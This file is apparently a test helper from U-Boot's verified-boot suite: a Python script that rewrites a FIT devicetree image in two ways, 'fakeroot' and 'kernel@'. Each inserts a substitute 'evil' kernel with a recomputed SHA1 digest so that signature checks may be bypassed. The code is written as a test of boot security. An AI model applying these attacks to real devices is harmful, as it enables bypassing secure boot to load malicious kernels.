1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
|
# SPDX-License-Identifier: GPL-2.0
# Copyright (c) 2020, Intel Corporation
"""Modifies a devicetree to add a fake root node, for testing purposes"""
import hashlib
import struct
import sys
FDT_PROP = 0x3
FDT_BEGIN_NODE = 0x1
FDT_END_NODE = 0x2
FDT_END = 0x9
FAKE_ROOT_ATTACK = 0
KERNEL_AT = 1
MAGIC = 0xd00dfeed
EVIL_KERNEL_NAME = b'evil_kernel'
FAKE_ROOT_NAME = b'f@keroot'
def getstr(dt_strings, off):
"""Get a string from the devicetree string table
Args:
dt_strings (bytes): Devicetree strings section
off (int): Offset of string to read
Returns:
str: String read from the table
"""
output = ''
while dt_strings[off]:
output += chr(dt_strings[off])
off += 1
return output
def align(offset):
"""Align an offset to a multiple of 4
Args:
offset (int): Offset to align
Returns:
int: Resulting aligned offset (rounds up to nearest multiple)
"""
return (offset + 3) & ~3
def determine_offset(dt_struct, dt_strings, searched_node_name):
"""Determines the offset of an element, either a node or a property
Args:
dt_struct (bytes): Devicetree struct section
dt_strings (bytes): Devicetree strings section
searched_node_name (str): element path, ex: /images/kernel@1/data
Returns:
tuple: (node start offset, node end offset)
if element is not found, returns (None, None)
"""
offset = 0
depth = -1
path = '/'
object_start_offset = None
object_end_offset = None
object_depth = None
while offset < len(dt_struct):
(tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
if tag == FDT_BEGIN_NODE:
depth += 1
begin_node_offset = offset
offset += 4
node_name = getstr(dt_struct, offset)
offset += len(node_name) + 1
offset = align(offset)
if path[-1] != '/':
path += '/'
path += str(node_name)
if path == searched_node_name:
object_start_offset = begin_node_offset
object_depth = depth
elif tag == FDT_PROP:
begin_prop_offset = offset
offset += 4
len_tag, nameoff = struct.unpack('>II',
dt_struct[offset:offset + 8])
offset += 8
prop_name = getstr(dt_strings, nameoff)
len_tag = align(len_tag)
offset += len_tag
node_path = path + '/' + str(prop_name)
if node_path == searched_node_name:
object_start_offset = begin_prop_offset
elif tag == FDT_END_NODE:
offset += 4
path = path[:path.rfind('/')]
if not path:
path = '/'
if depth == object_depth:
object_end_offset = offset
break
depth -= 1
elif tag == FDT_END:
break
else:
print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
break
return object_start_offset, object_end_offset
def modify_node_name(dt_struct, node_offset, replcd_name):
"""Change the name of a node
Args:
dt_struct (bytes): Devicetree struct section
node_offset (int): Offset of node
replcd_name (str): New name for node
Returns:
bytes: New dt_struct contents
"""
# skip 4 bytes for the FDT_BEGIN_NODE
node_offset += 4
node_name = getstr(dt_struct, node_offset)
node_name_len = len(node_name) + 1
node_name_len = align(node_name_len)
replcd_name += b'\0'
# align on 4 bytes
while len(replcd_name) % 4:
replcd_name += b'\0'
dt_struct = (dt_struct[:node_offset] + replcd_name +
dt_struct[node_offset + node_name_len:])
return dt_struct
def modify_prop_content(dt_struct, prop_offset, content):
"""Overwrite the value of a property
Args:
dt_struct (bytes): Devicetree struct section
prop_offset (int): Offset of property (FDT_PROP tag)
content (bytes): New content for the property
Returns:
bytes: New dt_struct contents
"""
# skip FDT_PROP
prop_offset += 4
(len_tag, nameoff) = struct.unpack('>II',
dt_struct[prop_offset:prop_offset + 8])
# compute padded original node length
original_node_len = len_tag + 8 # content length + prop meta data len
original_node_len = align(original_node_len)
added_data = struct.pack('>II', len(content), nameoff)
added_data += content
while len(added_data) % 4:
added_data += b'\0'
dt_struct = (dt_struct[:prop_offset] + added_data +
dt_struct[prop_offset + original_node_len:])
return dt_struct
def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
required=True):
"""Change a given property value
Args:
dt_struct (bytes): Devicetree struct section
dt_strings (bytes): Devicetree strings section
prop_path (str): full path of the target property
prop_value (bytes): new property name
required (bool): raise an exception if property not found
Returns:
bytes: New dt_struct contents
Raises:
ValueError: if the property is not found
"""
(rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
if rt_node_start is None:
if not required:
return dt_struct
raise ValueError('Fatal error, unable to find prop %s' % prop_path)
dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
return dt_struct
def change_node_name(dt_struct, dt_strings, node_path, node_name):
"""Change a given node name
Args:
dt_struct (bytes): Devicetree struct section
dt_strings (bytes): Devicetree strings section
node_path (str): full path of the target node
node_name (str): new node name, just node name not full path
Returns:
bytes: New dt_struct contents
Raises:
ValueError: if the node is not found
"""
(rt_node_start, rt_node_end) = (
determine_offset(dt_struct, dt_strings, node_path))
if rt_node_start is None or rt_node_end is None:
raise ValueError('Fatal error, unable to find root node')
dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
return dt_struct
def get_prop_value(dt_struct, dt_strings, prop_path):
"""Get the content of a property based on its path
Args:
dt_struct (bytes): Devicetree struct section
dt_strings (bytes): Devicetree strings section
prop_path (str): full path of the target property
Returns:
bytes: Property value
Raises:
ValueError: if the property is not found
"""
(offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
if offset is None:
raise ValueError('Fatal error, unable to find prop')
offset += 4
(len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
offset += 8
tag_data = dt_struct[offset:offset + len_tag]
return tag_data
def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
"""Conduct the kernel@ attack
It fetches from /configurations/default the name of the kernel being loaded.
Then, if the kernel name does not contain any @sign, duplicates the kernel
in /images node and appends '@evil' to its name.
It inserts a new kernel content and updates its images digest.
Inputs:
- FIT dt_struct
- FIT dt_strings
- kernel content blob
- kernel hash blob
Important note: it assumes the U-Boot loading method is 'kernel' and the
loaded kernel hash's subnode name is 'hash-1'
"""
# retrieve the default configuration name
default_conf_name = get_prop_value(
dt_struct, dt_strings, '/configurations/default')
default_conf_name = str(default_conf_name[:-1], 'utf-8')
conf_path = '/configurations/' + default_conf_name
# fetch the loaded kernel name from the default configuration
loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
if loaded_kernel.find('@') != -1:
print('kernel@ attack does not work on nodes already containing an @ sign!')
sys.exit()
# determine boundaries of the loaded kernel
(krn_node_start, krn_node_end) = (determine_offset(
dt_struct, dt_strings, '/images/' + loaded_kernel))
if krn_node_start is None and krn_node_end is None:
print('Fatal error, unable to find root node')
sys.exit()
# copy the loaded kernel
loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
# insert the copy inside the tree
dt_struct = dt_struct[:krn_node_start] + \
loaded_kernel_copy + dt_struct[krn_node_start:]
evil_kernel_name = loaded_kernel+'@evil'
# change the inserted kernel name
dt_struct = change_node_name(
dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
# change the content of the kernel being loaded
dt_struct = change_property_value(
dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
# change the content of the kernel being loaded
dt_struct = change_property_value(
dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
return dt_struct
def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
"""Conduct the fakenode attack
It duplicates the original root node at the beginning of the tree.
Then it modifies within this duplicated tree:
- The loaded kernel name
- The loaded kernel data
Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
hash's subnode name is hash@1
"""
# retrieve the default configuration name
default_conf_name = get_prop_value(
dt_struct, dt_strings, '/configurations/default')
default_conf_name = str(default_conf_name[:-1], 'utf-8')
conf_path = '/configurations/'+default_conf_name
# fetch the loaded kernel name from the default configuration
loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
# determine root node start and end:
(rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
if (rt_node_start is None) or (rt_node_end is None):
print('Fatal error, unable to find root node')
sys.exit()
# duplicate the whole tree
duplicated_node = dt_struct[rt_node_start:rt_node_end]
# dchange root name (empty name) to fake root name
new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
dt_struct = new_dup + dt_struct
# change the value of /<fake_root_name>/configs/<default_config_name>/kernel
# so our modified kernel will be loaded
base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
value_path = base + conf_path+'/kernel'
dt_struct = change_property_value(dt_struct, dt_strings, value_path,
EVIL_KERNEL_NAME + b'\0')
# change the node of the /<fake_root_name>/images/<original_kernel_name>
images_path = base + '/images/'
node_path = images_path + loaded_kernel
dt_struct = change_node_name(dt_struct, dt_strings, node_path,
EVIL_KERNEL_NAME)
# change the content of the kernel being loaded
data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
dt_struct = change_property_value(dt_struct, dt_strings, data_path,
kernel_content, required=False)
# update the digest value
hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
kernel_digest)
return dt_struct
def add_evil_node(in_fname, out_fname, kernel_fname, attack):
"""Add an evil node to the devicetree
Args:
in_fname (str): Filename of input devicetree
out_fname (str): Filename to write modified devicetree to
kernel_fname (str): Filename of kernel data to add to evil node
attack (str): Attack type ('fakeroot' or 'kernel@')
Raises:
ValueError: Unknown attack name
"""
if attack == 'fakeroot':
attack = FAKE_ROOT_ATTACK
elif attack == 'kernel@':
attack = KERNEL_AT
else:
raise ValueError('Unknown attack name!')
with open(in_fname, 'rb') as fin:
input_data = fin.read()
hdr = input_data[0:0x28]
offset = 0
magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
if magic != MAGIC:
raise ValueError('Wrong magic!')
offset += 4
(totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
last_comp_version, boot_cpuid_phys, size_dt_strings,
size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
with open(kernel_fname, 'rb') as kernel_file:
kernel_content = kernel_file.read()
# computing inserted kernel hash
val = hashlib.sha1()
val.update(kernel_content)
hash_digest = val.digest()
if attack == FAKE_ROOT_ATTACK:
dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
hash_digest)
elif attack == KERNEL_AT:
dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
hash_digest)
# now rebuild the new file
size_dt_strings = len(dt_strings)
size_dt_struct = len(dt_struct)
totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
off_mem_rsvmap = 0x28
off_dt_struct = off_mem_rsvmap + len(rsv_map)
off_dt_strings = off_dt_struct + len(dt_struct)
header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
off_dt_strings, off_mem_rsvmap, version,
last_comp_version, boot_cpuid_phys, size_dt_strings,
size_dt_struct)
with open(out_fname, 'wb') as output_file:
output_file.write(header)
output_file.write(rsv_map)
output_file.write(dt_struct)
output_file.write(dt_strings)
if __name__ == '__main__':
if len(sys.argv) != 5:
print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
sys.argv[0])
print('valid attack names: [fakeroot, kernel@]')
sys.exit(1)
in_fname, out_fname, kernel_fname, attack = sys.argv[1:]
add_evil_node(in_fname, out_fname, kernel_fname, attack)
|